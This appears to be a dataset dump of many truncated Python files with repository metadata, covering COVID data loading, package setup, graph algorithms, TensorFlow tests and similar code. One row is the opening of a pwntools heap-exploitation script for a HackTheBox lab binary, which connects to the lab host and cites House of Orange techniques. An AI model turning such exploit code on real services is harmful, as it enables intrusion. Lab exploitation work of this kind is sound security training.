"MIT"
] | null | null | null | #!python3
from dotenv import load_dotenv, find_dotenv
load_dotenv(find_dotenv())
METADATA_URL = 'https://webhooks.mongodb-stitch.com/api/client/v2.0/app/covid-19-qppza/service/REST-API/incoming_webhook/metadata'
REST_URL = 'https://webhooks.mongodb-stitch.com/api/client/v2.0/app/covid-19-qppza/service/REST-API/incomi... | 36.253012 | 152 | 0.705882 | #!python3
import os
from algoliasearch.search_client import SearchClient
from dotenv import load_dotenv, find_dotenv
import json
import requests
load_dotenv(find_dotenv())
METADATA_URL = 'https://webhooks.mongodb-stitch.com/api/client/v2.0/app/covid-19-qppza/service/REST-API/incoming_webhook/metadata'
REST_URL = 'ht... | 0 | 0 | 0 | 0 | 0 | 2,461 | 0 | 3 | 158 |
71ea28c6518db92b8a217bd244affd1c58fb1149 | 3,819 | py | Python | HackTheBox/prolabs/Rasta Labs/membermanager.py | mihaid-b/CyberSakura | f60e6b6bfd6898c69b84424b080090ae98f8076c | [
"MIT"
] | 1 | 2022-03-27T06:00:41.000Z | 2022-03-27T06:00:41.000Z | HackTheBox/prolabs/Rasta Labs/membermanager.py | mihaid-b/CyberSakura | f60e6b6bfd6898c69b84424b080090ae98f8076c | [
"MIT"
] | null | null | null | HackTheBox/prolabs/Rasta Labs/membermanager.py | mihaid-b/CyberSakura | f60e6b6bfd6898c69b84424b080090ae98f8076c | [
"MIT"
] | 1 | 2022-03-27T06:01:42.000Z | 2022-03-27T06:01:42.000Z |
#context.log_level = 'debug'
#http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
#http://4ngelboy.blogspot.tw/2017/11/play-with-file-structure-yet-another.html
p = remote('securewebinc.jet', 5555)
#p = process('./membermanager')
binary = ELF('./membermanager')
libc = ELF('./libc6_2.23-0u... | 38.575758 | 143 | 0.680545 | from pwn import *
#context.log_level = 'debug'
#http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
#http://4ngelboy.blogspot.tw/2017/11/play-with-file-structure-yet-another.html
p = remote('securewebinc.jet', 5555)
#p = process('./membermanager')
binary = ELF('./membermanager')
libc = EL... | 0 | 0 | 0 | 0 | 0 | 638 | 0 | -4 | 166 |
653ebac9b608378bd958fc8eb802635c6758f75e | 1,167 | py | Python | setup.py | jackeylu/sentry-wechat | 66dcbbd88f4a3a77a40e45f76d95b4f5f4ef769a | [
"MIT"
] | 15 | 2020-09-08T18:10:17.000Z | 2022-01-20T02:42:27.000Z | setup.py | jackeylu/sentry-wechat | 66dcbbd88f4a3a77a40e45f76d95b4f5f4ef769a | [
"MIT"
] | 2 | 2020-07-16T23:16:00.000Z | 2021-04-14T10:54:23.000Z | setup.py | jackeylu/sentry-wechat | 66dcbbd88f4a3a77a40e45f76d95b4f5f4ef769a | [
"MIT"
] | 5 | 2020-06-09T04:14:49.000Z | 2021-06-01T11:17:27.000Z | #!/usr/bin/env python
# coding: utf-8
#############################################
# File Name: setup.py
# Author: whzcorcd
# Mail: whzcorcd@gmail.com
# Created Time: 2020-06-08
#############################################
from setuptools import setup, find_packages
with open("README.md", "r") as fh:
long_des... | 25.933333 | 76 | 0.588689 | #!/usr/bin/env python
# coding: utf-8
#############################################
# File Name: setup.py
# Author: whzcorcd
# Mail: whzcorcd@gmail.com
# Created Time: 2020-06-08
#############################################
from setuptools import setup, find_packages
with open("README.md", "r") as fh:
long_des... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
8492052e161b177d635426905d3b13d77cc95776 | 2,210 | py | Python | python/hello_python3/hello.py | jeremiedecock/snippets | 4bd4e7f459eee610d5cf19f845299ca942ff4b64 | [
"MIT"
] | 23 | 2015-06-08T13:01:00.000Z | 2021-12-30T08:20:04.000Z | python/hello_python3/hello.py | jeremiedecock/snippets | 4bd4e7f459eee610d5cf19f845299ca942ff4b64 | [
"MIT"
] | 1 | 2020-10-22T02:36:10.000Z | 2020-10-22T02:36:10.000Z | python/hello_python3/hello.py | jeremiedecock/snippets | 4bd4e7f459eee610d5cf19f845299ca942ff4b64 | [
"MIT"
] | 7 | 2017-10-31T09:48:14.000Z | 2022-01-04T15:59:45.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright (c) 2012 Jrmie DECOCK (http://www.jdhp.org)
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without... | 37.457627 | 93 | 0.722624 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright (c) 2012 Jérémie DECOCK (http://www.jdhp.org)
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including witho... | 17 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
dc166021134218e62816ef7c398ae9b323bb65d0 | 9,738 | py | Python | files/uplink.playground.py | hanez/uplink | 5a0b170610690351369f7f8495aa0fdab0342217 | [
"MIT"
] | null | null | null | files/uplink.playground.py | hanez/uplink | 5a0b170610690351369f7f8495aa0fdab0342217 | [
"MIT"
] | null | null | null | files/uplink.playground.py | hanez/uplink | 5a0b170610690351369f7f8495aa0fdab0342217 | [
"MIT"
] | null | null | null | #!/usr/bin/python3 -d
# Copyright (c) 2020 Johannes Findeisen <you@hanez.org>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
#... | 42.524017 | 149 | 0.602999 | #!/usr/bin/python3 -d
# Copyright (c) 2020 Johannes Findeisen <you@hanez.org>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
#... | 0 | 3,342 | 0 | 493 | 0 | 2,602 | 0 | 17 | 250 |
8d28706e7621c0e57e9593847f1ff1b51290661a | 3,399 | py | Python | vaje/Grafi/dag.py | jaanos/operacijske-raziskave | a8e32681f767c20452bd720b27dfad8abede397f | [
"MIT"
] | 3 | 2016-11-08T10:06:25.000Z | 2018-02-21T17:00:35.000Z | vaje/Grafi/dag.py | jaanos/operacijske-raziskave | a8e32681f767c20452bd720b27dfad8abede397f | [
"MIT"
] | 1 | 2018-06-10T11:28:16.000Z | 2018-06-11T12:04:50.000Z | vaje/Grafi/dag.py | jaanos/operacijske-raziskave | a8e32681f767c20452bd720b27dfad8abede397f | [
"MIT"
] | 2 | 2017-01-04T19:01:17.000Z | 2021-02-14T16:19:21.000Z | # -*- coding: utf-8 -*-
"""
Funkcije na grafih.
V ocenah asovne zahtevnosti je n tevilo vozli v grafu,
m tevilo povezav v grafu, d(u) pa tevilo sosedov vozlia u.
Pri tem predpostavljamo, da velja n = O(m)
(graf ima O(1) povezanih komponent).
Podane asovne zahtevnosti veljajo za predstavitev grafa s seznami sosedov.
""... | 26.97619 | 79 | 0.537217 | # -*- coding: utf-8 -*-
"""
Funkcije na grafih.
V ocenah časovne zahtevnosti je n število vozlišč v grafu,
m število povezav v grafu, d(u) pa število sosedov vozlišča u.
Pri tem predpostavljamo, da velja n = O(m)
(graf ima O(1) povezanih komponent).
Podane časovne zahtevnosti veljajo za predstavitev grafa s seznami so... | 76 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
21fc6f3b8821f940257e95d9e74755870a18674a | 2,619 | py | Python | util/features.py | MiningMark48/Discord-Bot-Template | 7c7fc29d80fdcd84eeae1a0c810092397aa632db | [
"MIT"
] | 1 | 2021-09-11T04:37:06.000Z | 2021-09-11T04:37:06.000Z | util/features.py | MiningMark48/Discord-Bot-Template | 7c7fc29d80fdcd84eeae1a0c810092397aa632db | [
"MIT"
] | null | null | null | util/features.py | MiningMark48/Discord-Bot-Template | 7c7fc29d80fdcd84eeae1a0c810092397aa632db | [
"MIT"
] | null | null | null | import os.path as osp
import yaml
import logging
log = logging.getLogger("discordbot")
features_path = "features.yml"
def get_extensions() -> list:
"""
Gets extensions from the `features.yml`
to be loaded into the bot
:return: list
"""
log.info("Getting extensions...")
exts = []
... | 28.467391 | 84 | 0.5063 | import os.path as osp
import yaml
import logging
log = logging.getLogger("discordbot")
features_path = "features.yml"
def get_extensions() -> list:
"""
Gets extensions from the `features.yml`
to be loaded into the bot
:return: list
"""
log.info("Getting extensions...")
exts = []
... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a2af394472257ded8a2225cc96cb386f1dacd2bd | 1,070 | py | Python | digital_recognition.py | drpreetyrai/ChatBotCourse | 352a6672a19d3692c884ff376cbe067fff37e210 | [
"MIT"
] | 5,087 | 2016-06-28T08:58:30.000Z | 2020-08-18T08:49:46.000Z | digital_recognition.py | tta1993/ChatBotCourse | 156041d51ec51842592e8a1eeda565197fe31aec | [
"MIT"
] | 28 | 2016-10-26T08:01:18.000Z | 2019-10-22T06:41:21.000Z | digital_recognition.py | tta1993/ChatBotCourse | 156041d51ec51842592e8a1eeda565197fe31aec | [
"MIT"
] | 1,691 | 2016-06-29T07:33:36.000Z | 2020-08-18T08:50:02.000Z | # coding:utf-8
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )
from tensorflow.examples.tutorials.mnist import input_data
import tensorflow as tf
flags = tf.app.flags
FLAGS = flags.FLAGS
flags.DEFINE_string('data_dir', './', 'Directory for storing data')
mnist = input_data.read_data_sets(FLAGS.data_dir, on... | 30.571429 | 76 | 0.739252 | # coding:utf-8
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )
from tensorflow.examples.tutorials.mnist import input_data
import tensorflow as tf
flags = tf.app.flags
FLAGS = flags.FLAGS
flags.DEFINE_string('data_dir', './', 'Directory for storing data')
mnist = input_data.read_data_sets(FLAGS.data_dir, on... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
1e739634a3ec120a1da8b280e357d9b77bdd070a | 225 | py | Python | dummyValues.py | tigar/single-quinn | 0c55a83d36cb949ce637218bfff4db202d434199 | [
"MIT"
] | null | null | null | dummyValues.py | tigar/single-quinn | 0c55a83d36cb949ce637218bfff4db202d434199 | [
"MIT"
] | null | null | null | dummyValues.py | tigar/single-quinn | 0c55a83d36cb949ce637218bfff4db202d434199 | [
"MIT"
] | null | null | null |
import random
f1 = random.uniform(1.0, 100.0)
f2 = random.uniform(1.0, 100-f1)
f3 = random.uniform(1.0, 100-f1-f2)
f4 = random.uniform(1.0, 100-f1-f2-f3)
f5 = random.uniform(1.0, 100-f1-f2-f3-f4)
print(f1, f2, f3, f4, f5)
| 20.454545 | 41 | 0.657778 |
import random
f1 = random.uniform(1.0, 100.0)
f2 = random.uniform(1.0, 100-f1)
f3 = random.uniform(1.0, 100-f1-f2)
f4 = random.uniform(1.0, 100-f1-f2-f3)
f5 = random.uniform(1.0, 100-f1-f2-f3-f4)
print(f1, f2, f3, f4, f5)
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
4a3ca18c9c8b306b71ff03de21973e964697838f | 2,503 | py | Python | user/views/pass_view.py | salimking/movepass | e03fa519f41974f25a70d23179722654b292ef11 | [
"MIT"
] | null | null | null | user/views/pass_view.py | salimking/movepass | e03fa519f41974f25a70d23179722654b292ef11 | [
"MIT"
] | null | null | null | user/views/pass_view.py | salimking/movepass | e03fa519f41974f25a70d23179722654b292ef11 | [
"MIT"
] | null | null | null | # models import
# essential imports
# forms import
# Dashboard for Movement Pass
# Apply for Movement Pass
# Collect Pass View
# View pass
| 32.934211 | 71 | 0.676388 | from django.shortcuts import render,redirect,get_object_or_404
from django.views import View
# models import
from user.models import MovementReason,MovementPass, TimeSpend,\
MoveType
from admin.models import IDtype, Gender, PassUser,District
# essential imports
from django.http import HttpResponseRedirect
from dja... | 0 | 402 | 0 | 1,249 | 0 | 0 | 0 | 352 | 352 |
ae2c6fbbb06dea5e9a726884b3a47be52845327c | 49 | py | Python | Symmetric/Stream-Cipher/RC4/secret.py | killua4564/Symmetric | 183ea2ec1d1342e9124e710a2de0fcad8b399f3d | [
"MIT"
] | 1 | 2021-05-05T14:03:10.000Z | 2021-05-05T14:03:10.000Z | Symmetric/Stream-Cipher/RC4/secret.py | killua4564/Symmetric | 183ea2ec1d1342e9124e710a2de0fcad8b399f3d | [
"MIT"
] | null | null | null | Symmetric/Stream-Cipher/RC4/secret.py | killua4564/Symmetric | 183ea2ec1d1342e9124e710a2de0fcad8b399f3d | [
"MIT"
] | null | null | null | FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}' | 49 | 49 | 0.857143 | FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}' | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
3bd67c221d1e6a3fa9f59fcb25fc9b36eef263ea | 3,078 | py | Python | ooobuild/lo/awt/x_container_window_provider.py | Amourspirit/ooo_uno_tmpl | 64e0c86fd68f24794acc22d63d8d32ae05dd12b8 | [
"Apache-2.0"
] | null | null | null | ooobuild/lo/awt/x_container_window_provider.py | Amourspirit/ooo_uno_tmpl | 64e0c86fd68f24794acc22d63d8d32ae05dd12b8 | [
"Apache-2.0"
] | null | null | null | ooobuild/lo/awt/x_container_window_provider.py | Amourspirit/ooo_uno_tmpl | 64e0c86fd68f24794acc22d63d8d32ae05dd12b8 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
#
# Copyright 2022 :Barry-Thomas-Paul: Moss
#
# Licensed under the Apache License, Version 2.0 (the "License")
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http: // www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | 45.940299 | 364 | 0.745289 | # coding: utf-8
#
# Copyright 2022 :Barry-Thomas-Paul: Moss
#
# Licensed under the Apache License, Version 2.0 (the "License")
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http: // www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | 0 | 1,470 | 0 | 551 | 0 | 0 | 0 | 120 | 119 |
391404a157821988d98116c0ab1f2a8e5282311e | 3,500 | py | Python | test/test_sensor.py | brean/home-assistent-dev-env | f39c4503d5075d33d9212e20ac935bdd82c5c3fb | [
"BSD-3-Clause"
] | null | null | null | test/test_sensor.py | brean/home-assistent-dev-env | f39c4503d5075d33d9212e20ac935bdd82c5c3fb | [
"BSD-3-Clause"
] | 1 | 2020-05-06T12:48:59.000Z | 2020-05-06T12:48:59.000Z | test/test_sensor.py | brean/home-assistent-dev-env | f39c4503d5075d33d9212e20ac935bdd82c5c3fb | [
"BSD-3-Clause"
] | null | null | null | # we use the normal Web Interface to logg in and execute our tests
# alternative would be: https://www.home-assistant.io/integrations/rest/
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
LOVELACE_USERNAME='user'
LOVELACE_PASSWORD='1234'
# This should be the nginx-docker co... | 31.531532 | 84 | 0.686286 | # we use the normal Web Interface to logg in and execute our tests
# alternative would be: https://www.home-assistant.io/integrations/rest/
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
LOVELACE_USERNAME='user'
LOVELACE_PASSWORD='1234'
# This should be the nginx-docker co... | 0 | 0 | 0 | 0 | 0 | 1,322 | 0 | 0 | 46 |
e9ad61c12407e90ecabe125e094479919a372a70 | 5,087 | py | Python | tests/test_basic.py | xsuchy/modulemd | d9b4752abe79fd1476e4284c4c62e2dc16ab0e94 | [
"MIT"
] | null | null | null | tests/test_basic.py | xsuchy/modulemd | d9b4752abe79fd1476e4284c4c62e2dc16ab0e94 | [
"MIT"
] | null | null | null | tests/test_basic.py | xsuchy/modulemd | d9b4752abe79fd1476e4284c4c62e2dc16ab0e94 | [
"MIT"
] | null | null | null | #/usr/bin/python3
# -*- coding: utf-8 -*-
# Copyright (c) 2016 Red Hat, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
... | 38.24812 | 93 | 0.680558 | #/usr/bin/python3
# -*- coding: utf-8 -*-
# Copyright (c) 2016 Red Hat, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
... | 2 | 1,293 | 0 | 2,406 | 0 | 0 | 0 | -6 | 46 |
be747761051527bfc17cad5785133b918975f828 | 4,858 | py | Python | test/api/test_users.py | hotteshen/pynodebb | 8f76ee515716f3b4d9ea8a6e19de56a081b2904b | [
"MIT"
] | null | null | null | test/api/test_users.py | hotteshen/pynodebb | 8f76ee515716f3b4d9ea8a6e19de56a081b2904b | [
"MIT"
] | 1 | 2019-07-17T16:44:57.000Z | 2019-07-17T16:44:57.000Z | test/api/test_users.py | philanthropy-u/pynodebb | 31913046bddd94e3fddd529bdc5767f27f662d42 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
| 33.503448 | 92 | 0.619802 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import json
import unittest
import httpretty
from pynodebb import Client
class TestPyNodeBBUsers(unittest.TestCase):
def setUp(self):
self.client = Client('http://localhost:4567', 'master_token123')
@httpretty.act... | 0 | 3,839 | 0 | 834 | 0 | 0 | 0 | -15 | 113 |
2e2e63190c439ae85b039e63ed6fd0a0c18e1c76 | 609 | py | Python | test/ResultsAndPrizes/matchball/test_matchball_winning_numbers_for_several_draws.py | FearFactor1/SPA | a05aaa924c5bebb52cd508ebdf7fd3b81c49fac7 | [
"Apache-2.0"
] | 1 | 2019-12-05T06:50:54.000Z | 2019-12-05T06:50:54.000Z | test/ResultsAndPrizes/matchball/test_matchball_winning_numbers_for_several_draws.py | FearFactor1/SPA | a05aaa924c5bebb52cd508ebdf7fd3b81c49fac7 | [
"Apache-2.0"
] | null | null | null | test/ResultsAndPrizes/matchball/test_matchball_winning_numbers_for_several_draws.py | FearFactor1/SPA | a05aaa924c5bebb52cd508ebdf7fd3b81c49fac7 | [
"Apache-2.0"
] | null | null | null | # matchball +
| 46.846154 | 82 | 0.845649 | # matchball + Выигрышные номера нескольких тиражей
def test_matchball_winning_numbers_for_several_draws(app):
app.ResultAndPrizes.open_page_results_and_prizes()
app.ResultAndPrizes.click_game_matchball()
app.ResultAndPrizes.click_the_winning_numbers_for_several_draws()
app.ResultAndPrizes.click_ok_fo... | 98 | 0 | 0 | 0 | 0 | 518 | 0 | 0 | 23 |
463ad0d0fb44184b23581f2a7a7de9efd27b08e7 | 6,839 | py | Python | main.py | Ricardo-L-C/SegCol | 4986aaa9871774d346db1d95c4ae1d31ab2f096c | [
"MIT"
] | null | null | null | main.py | Ricardo-L-C/SegCol | 4986aaa9871774d346db1d95c4ae1d31ab2f096c | [
"MIT"
] | null | null | null | main.py | Ricardo-L-C/SegCol | 4986aaa9871774d346db1d95c4ae1d31ab2f096c | [
"MIT"
] | null | null | null | from pathlib import Path
root_path = Path(__file__).resolve().parent
dataset_path = root_path / "dataset"
tag_dump_path = root_path / "loader" / "tag_dump.pkl"
pretrain_path = root_path / "model.pth"
if __name__ == "__main__":
main()
| 51.037313 | 223 | 0.707706 | import argparse
import pprint
import time
from pathlib import Path
import torch
import random
import numpy as np
from tag2pix import tag2pix
root_path = Path(__file__).resolve().parent
dataset_path = root_path / "dataset"
tag_dump_path = root_path / "loader" / "tag_dump.pkl"
pretrain_path = root_path / "model.pth"
... | 0 | 0 | 0 | 0 | 0 | 6,385 | 0 | -38 | 248 |
8a6ac74849c6a53f4bf9c92f0cdff2f6de290b14 | 5,338 | py | Python | tensorflow/python/kernel_tests/argmax_op_test.py | yage99/tensorflow | c7fa71b32a3635eb25596ae80d007b41007769c4 | [
"Apache-2.0"
] | 78 | 2020-08-04T12:36:25.000Z | 2022-03-25T04:23:40.000Z | tensorflow/python/kernel_tests/argmax_op_test.py | sseung0703/tensorflow | be084bd7a4dd241eb781fc704f57bcacc5c9b6dd | [
"Apache-2.0"
] | 203 | 2019-06-14T23:53:10.000Z | 2022-02-10T02:27:23.000Z | tensorflow/python/kernel_tests/argmax_op_test.py | sseung0703/tensorflow | be084bd7a4dd241eb781fc704f57bcacc5c9b6dd | [
"Apache-2.0"
] | 28 | 2020-02-10T07:03:06.000Z | 2022-01-12T11:19:20.000Z | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 33.78481 | 80 | 0.670101 | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 0 | 412 | 0 | 3,752 | 0 | 0 | 0 | 88 | 158 |
10c1a01817d335789f0a2ef1329a1b82542d39fe | 4,409 | py | Python | src/fr/tagc/rainet/core/execution/processing/other/parse_wan_table4.py | TAGC-Brun/RAINET-RNA | 4d5a6658c41d4ab28d7c3d168eed65fe79233b48 | [
"Linux-OpenIB"
] | null | null | null | src/fr/tagc/rainet/core/execution/processing/other/parse_wan_table4.py | TAGC-Brun/RAINET-RNA | 4d5a6658c41d4ab28d7c3d168eed65fe79233b48 | [
"Linux-OpenIB"
] | null | null | null | src/fr/tagc/rainet/core/execution/processing/other/parse_wan_table4.py | TAGC-Brun/RAINET-RNA | 4d5a6658c41d4ab28d7c3d168eed65fe79233b48 | [
"Linux-OpenIB"
] | null | null | null |
#05-Aug-2016
# Script to specifically parse Wan et al 2015 http://www.nature.com/nature/journal/v525/n7569/full/nature14877.html supplementary table 4,
# formatting the table for insertion into RAINET DB.
workingFolder = "/home/diogo/Documents/RAINET_data/macromolecular_complex_datasets/Wan2015/"
inputFile = working... | 33.150376 | 138 | 0.582672 |
#05-Aug-2016
# Script to specifically parse Wan et al 2015 http://www.nature.com/nature/journal/v525/n7569/full/nature14877.html supplementary table 4,
# formatting the table for insertion into RAINET DB.
workingFolder = "/home/diogo/Documents/RAINET_data/macromolecular_complex_datasets/Wan2015/"
inputFile = working... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
09d0b673005c41ad2b2bbc351581b41e14c45226 | 2,135 | py | Python | benchmark_py/draw_graph.py | PeterHuang2015/Visual_Tracker_Benchmark | 7fcb4822ccdbe2682b868a4d49167335a5a071c0 | [
"MIT"
] | 10 | 2018-03-07T07:12:26.000Z | 2019-11-10T13:43:58.000Z | benchmark_py/draw_graph.py | pmixer/otb.plugin | 7fcb4822ccdbe2682b868a4d49167335a5a071c0 | [
"MIT"
] | null | null | null | benchmark_py/draw_graph.py | pmixer/otb.plugin | 7fcb4822ccdbe2682b868a4d49167335a5a071c0 | [
"MIT"
] | 3 | 2018-05-05T01:03:54.000Z | 2019-02-21T14:13:33.000Z |
if __name__ == '__main__':
main()
| 37.45614 | 108 | 0.569087 | from config import *
import matplotlib.pyplot as plt
import numpy as np
import math
from scripts import *
def main():
evalTypes = ['OPE']
testname = 'DTR'#'DTR'
for i in range(len(evalTypes)):
evalType = evalTypes[i]
result_src = RESULT_SRC.format(evalType)
trackers = os... | 0 | 0 | 0 | 0 | 0 | 1,930 | 0 | -4 | 165 |
555ce172eb45c26953b2ea9ddd61ba3b1678cf56 | 1,896 | py | Python | _unittests/ut_documentation/test_LONG_notebook_internet.py | Pandinosaurus/actuariat_python | 77533a75fcc63a5a7ebca664a19a24c9439670ee | [
"MIT"
] | 5 | 2017-03-13T15:58:40.000Z | 2021-02-03T12:52:58.000Z | _unittests/ut_documentation/test_LONG_notebook_internet.py | Pandinosaurus/actuariat_python | 77533a75fcc63a5a7ebca664a19a24c9439670ee | [
"MIT"
] | 13 | 2015-06-14T22:01:37.000Z | 2021-01-05T13:57:00.000Z | _unittests/ut_documentation/test_LONG_notebook_internet.py | Pandinosaurus/actuariat_python | 77533a75fcc63a5a7ebca664a19a24c9439670ee | [
"MIT"
] | 9 | 2017-01-15T15:06:55.000Z | 2022-01-18T20:42:48.000Z | # -*- coding: utf-8 -*-
"""
@brief test log(time=50s)
"""
import unittest
if __name__ == "__main__":
unittest.main()
| 35.111111 | 125 | 0.661392 | # -*- coding: utf-8 -*-
"""
@brief test log(time=50s)
"""
import sys
import unittest
import warnings
from pyquickhelper.loghelper import fLOG
from pyquickhelper.pycode import get_temp_folder, add_missing_development_version
from pyquickhelper.pycode import fix_tkinter_issues_virtualenv
from pyquickhelper.ipythonhe... | 0 | 0 | 0 | 1,433 | 0 | 0 | 0 | 157 | 177 |
ba3337abee86d40f033d7d8d019c941e7fcd6b62 | 2,385 | py | Python | snippets/getearningsdata_func.py | peterfabakker/zipline-utils | 07ad6f56910b7c34c2cb45442b282213eae0efc6 | [
"MIT"
] | null | null | null | snippets/getearningsdata_func.py | peterfabakker/zipline-utils | 07ad6f56910b7c34c2cb45442b282213eae0efc6 | [
"MIT"
] | null | null | null | snippets/getearningsdata_func.py | peterfabakker/zipline-utils | 07ad6f56910b7c34c2cb45442b282213eae0efc6 | [
"MIT"
] | null | null | null | import os
from zipline.data.bundles.core import load
import imp
ext = imp.load_source('ext', '/root/.zipline/extension.py')
def get_tickers_from_bundle(bundle_name):
"""Gets a list of tickers from a given bundle courtesy PBHARRIN"""
bundle_data = load(bundle_name, os.environ, None)
# get a list of all si... | 37.265625 | 117 | 0.703145 |
import sys
import os
import pandas as pd
import numpy as np
import datetime
from shutil import copy
from yahoo_earnings_calendar import YahooEarningsCalendar
from zipline.data import bundles as bundles_module
from zipline.data.bundles.core import load, bundles
import imp
ext = imp.load_source('ext', '/root/.zipline/ex... | 0 | 0 | 0 | 0 | 0 | 1,352 | 0 | 54 | 178 |
b15653a2569b7b4f1c7f77c78f1b74aed18af5bf | 5,170 | py | Python | matched_markets/tests/test_tbrmmscore.py | ludmila-kuncarova/matched_markets | ded2469997e5bf5b87613f35c38aeb6d35c0ca6e | [
"Apache-2.0"
] | 17 | 2020-11-17T21:39:25.000Z | 2022-03-31T03:57:21.000Z | matched_markets/tests/test_tbrmmscore.py | ludmila-kuncarova/matched_markets | ded2469997e5bf5b87613f35c38aeb6d35c0ca6e | [
"Apache-2.0"
] | 2 | 2021-04-06T23:09:49.000Z | 2021-11-04T14:43:55.000Z | matched_markets/tests/test_tbrmmscore.py | ludmila-kuncarova/matched_markets | ded2469997e5bf5b87613f35c38aeb6d35c0ca6e | [
"Apache-2.0"
] | 7 | 2020-11-10T17:32:49.000Z | 2021-09-06T15:24:00.000Z | # Copyright 2020 Google LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... | 39.465649 | 80 | 0.666151 | # Copyright 2020 Google LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... | 0 | 0 | 0 | 3,862 | 0 | 0 | 0 | -3 | 45 |
3d0032e4218a834013458662eb61552fb0f598d7 | 2,906 | py | Python | interpolation/moindreCarre.py | Totorino02/Numerical-algorithms | 2898386f52541612a6a21ceb413d0e55498152f1 | [
"MIT"
] | null | null | null | interpolation/moindreCarre.py | Totorino02/Numerical-algorithms | 2898386f52541612a6a21ceb413d0e55498152f1 | [
"MIT"
] | 1 | 2022-02-04T09:53:38.000Z | 2022-02-05T00:02:36.000Z | interpolation/moindreCarre.py | Totorino02/Numerical-algorithms | 2898386f52541612a6a21ceb413d0e55498152f1 | [
"MIT"
] | null | null | null | """
Name: lagrange.py
Goal: interpolation of newton
Author: HOUNSI Madouvi antoine-sebastien
Date: 02/03/2022
"""
| 36.78481 | 159 | 0.54095 | """
Name: lagrange.py
Goal: interpolation of newton
Author: HOUNSI Madouvi antoine-sebastien
Date: 02/03/2022
"""
import numpy as np
import matplotlib.pyplot as plt
import sys
from math import pow
from linearEq.utils.gaussForVal import gauss
from os.path import dirname, join
from interpolation.polynom i... | 6 | 0 | 0 | 2,545 | 0 | 0 | 0 | 50 | 177 |
73207c3f8734dcab81bd0cdf2e98ced70169ce66 | 1,133 | py | Python | setup.py | GuanLab/timesias | 899d1a42c8df98f6540bcfaa1782751ee7cc6536 | [
"MIT"
] | 2 | 2021-10-21T17:28:37.000Z | 2022-03-16T00:49:05.000Z | setup.py | GuanLab/timesias | 899d1a42c8df98f6540bcfaa1782751ee7cc6536 | [
"MIT"
] | null | null | null | setup.py | GuanLab/timesias | 899d1a42c8df98f6540bcfaa1782751ee7cc6536 | [
"MIT"
] | null | null | null | import setuptools
with open("README.md", "r", encoding="utf-8") as fh:
long_description = fh.read()
setuptools.setup(
name="timesias",
version="0.0.4",
author="Hanrui Zhang, Yuanfang Guan",
author_email="rayezh@umich.edu, gyuanfan@umich.edu",
description="A machine-learning framework for predi... | 29.815789 | 97 | 0.60459 | import setuptools
with open("README.md", "r", encoding="utf-8") as fh:
long_description = fh.read()
setuptools.setup(
name="timesias",
version="0.0.4",
author="Hanrui Zhang, Yuanfang Guan",
author_email="rayezh@umich.edu, gyuanfan@umich.edu",
description="A machine-learning framework for predi... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
0c2ae73745f5a9edcc4c1ef54c339127de56be3c | 283 | py | Python | Chap03DataStructures/6-3-1.数据结构复制.py | royqh1979/programming_with_python | 7e1e8f88381151b803b6ae6ebda9809d9cc6664a | [
"MIT"
